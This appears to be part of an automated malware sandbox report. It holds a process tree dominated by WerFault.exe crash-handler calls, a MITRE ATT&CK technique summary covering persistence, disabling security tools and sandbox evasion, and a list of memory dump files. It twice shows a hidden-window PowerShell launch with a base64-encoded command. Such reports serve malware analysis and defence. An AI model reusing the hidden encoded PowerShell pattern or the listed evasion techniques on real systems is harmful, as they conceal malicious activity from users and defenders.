C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4076 -ip 40761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4076 -ip 40761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4076 -ip 40761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4076 -ip 40761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 4076 -ip 40761⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4984 -ip 49841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 4984 -ip 49841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3224 -ip 32241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4984 -ip 49841⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4984 -ip 49841⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 1412 -ip 14121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 3224 -ip 32241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 1412 -ip 14121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 700 -p 3224 -ip 32241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 4804 -ip 48041⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 692 -p 1412 -ip 14121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 3224 -ip 32241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 3224 -ip 32241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 1412 -ip 14121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 4076 -ip 40761⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 1412 -ip 14121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 3224 -ip 32241⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1412 -ip 14121⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 3224 -ip 32241⤵
Network
MITRE ATT&CK Enterprise v6
Persistence
Modify Existing Service
1Registry Run Keys / Startup Folder
1Scheduled Task
1Defense Evasion
Disabling Security Tools
1Install Root Certificate
1Modify Registry
3Virtualization/Sandbox Evasion
2Web Service
1Replay Monitor
Loading Replay Monitor...
Downloads
memory/756-185-0x0000000000830000-0x0000000000890000-memory.dmp
memory/1412-196-0x0000000077E00000-0x0000000077FA3000-memory.dmp
memory/1412-186-0x0000000002360000-0x000000000243F000-memory.dmp
memory/1412-187-0x0000000000400000-0x0000000000635000-memory.dmp
memory/1412-181-0x0000000002440000-0x0000000002669000-memory.dmp
memory/1780-160-0x0000000000400000-0x00000000004D7000-memory.dmp
memory/1780-158-0x00000000021E0000-0x000000000228C000-memory.dmp
memory/1780-157-0x0000000002170000-0x00000000021DB000-memory.dmp
memory/1840-262-0x0000000000F50000-0x0000000001012000-memory.dmp
memory/1840-270-0x0000000005A20000-0x0000000005ABC000-memory.dmp
memory/1840-235-0x0000000073230000-0x00000000739E0000-memory.dmp
memory/1856-261-0x00000000007E0000-0x00000000007F4000-memory.dmp
memory/1856-234-0x0000000073230000-0x00000000739E0000-memory.dmp
memory/1928-285-0x0000000003260000-0x0000000003262000-memory.dmp
memory/1928-299-0x0000000003290000-0x0000000003292000-memory.dmp
memory/1928-298-0x0000000003280000-0x0000000003282000-memory.dmp
memory/1928-300-0x00000000032A0000-0x00000000032A2000-memory.dmp
memory/1928-303-0x00000000032C0000-0x00000000032C2000-memory.dmp
memory/1928-302-0x00000000032B0000-0x00000000032B2000-memory.dmp
memory/1928-297-0x0000000003270000-0x0000000003272000-memory.dmp
memory/1928-276-0x0000000077790000-0x0000000077930000-memory.dmp
memory/1928-275-0x0000000077E00000-0x0000000077FA3000-memory.dmp
memory/1928-272-0x0000000003250000-0x0000000003252000-memory.dmp
memory/2152-237-0x0000000073230000-0x00000000739E0000-memory.dmp
memory/2152-301-0x0000000005930000-0x00000000059C2000-memory.dmp
memory/2152-169-0x00000000013E0000-0x00000000013F8000-memory.dmp
memory/2152-280-0x0000000005882000-0x0000000005883000-memory.dmp
memory/2152-283-0x0000000005E40000-0x00000000063E4000-memory.dmp
memory/2152-273-0x0000000005883000-0x0000000005884000-memory.dmp
memory/2152-148-0x00000000012EA000-0x00000000012EB000-memory.dmp
memory/2152-271-0x0000000005880000-0x0000000005881000-memory.dmp
memory/2456-282-0x0000000001470000-0x0000000001486000-memory.dmp
memory/2528-260-0x0000000000D40000-0x0000000000D92000-memory.dmp
memory/2528-239-0x0000000073230000-0x00000000739E0000-memory.dmp
memory/2528-286-0x00000000056C0000-0x0000000005736000-memory.dmp
memory/2628-320-0x0000000000010000-0x000000000121A000-memory.dmp
memory/2628-323-0x0000000073230000-0x00000000739E0000-memory.dmp
memory/2632-202-0x0000000003E30000-0x0000000003FEE000-memory.dmp
memory/2656-184-0x00000000020E0000-0x0000000002140000-memory.dmp
memory/2720-179-0x00000000006E0000-0x0000000000740000-memory.dmp
memory/2724-177-0x0000000000820000-0x0000000000880000-memory.dmp
memory/2948-176-0x00000000020F0000-0x0000000002150000-memory.dmp
memory/3208-289-0x0000000002E50000-0x0000000002E53000-memory.dmp
memory/3208-287-0x0000000002E40000-0x0000000002E43000-memory.dmp
memory/3208-290-0x0000000002E60000-0x0000000002E63000-memory.dmp
memory/3208-291-0x0000000077790000-0x0000000077930000-memory.dmp
memory/3208-292-0x0000000002E70000-0x0000000002E73000-memory.dmp
memory/3208-294-0x0000000002E90000-0x0000000002E93000-memory.dmp
memory/3208-295-0x0000000002EA0000-0x0000000002EA3000-memory.dmp
memory/3208-293-0x0000000002E80000-0x0000000002E83000-memory.dmp
memory/3208-296-0x0000000002EB0000-0x0000000002EB3000-memory.dmp
memory/3208-288-0x0000000077E00000-0x0000000077FA3000-memory.dmp
memory/3224-305-0x0000000077E00000-0x0000000077FA3000-memory.dmp
memory/3224-304-0x0000000000400000-0x0000000000635000-memory.dmp
memory/3236-180-0x00000000020F0000-0x0000000002150000-memory.dmp
memory/3392-178-0x00000000020C0000-0x0000000002120000-memory.dmp
memory/4036-130-0x00000000041F0000-0x00000000043AE000-memory.dmp
memory/4076-175-0x0000000000510000-0x0000000000610000-memory.dmp
memory/4076-182-0x0000000002140000-0x0000000002184000-memory.dmp
memory/4076-183-0x0000000000400000-0x0000000000505000-memory.dmp
memory/4132-281-0x00000000004C0000-0x00000000004C9000-memory.dmp
memory/4132-284-0x0000000000400000-0x0000000000474000-memory.dmp
memory/4132-279-0x00000000001F0000-0x00000000001F9000-memory.dmp
memory/4156-209-0x0000000010000000-0x0000000010D56000-memory.dmp
memory/4984-278-0x0000000000400000-0x0000000000505000-memory.dmp
memory/4984-277-0x00000000005F0000-0x00000000006F0000-memory.dmp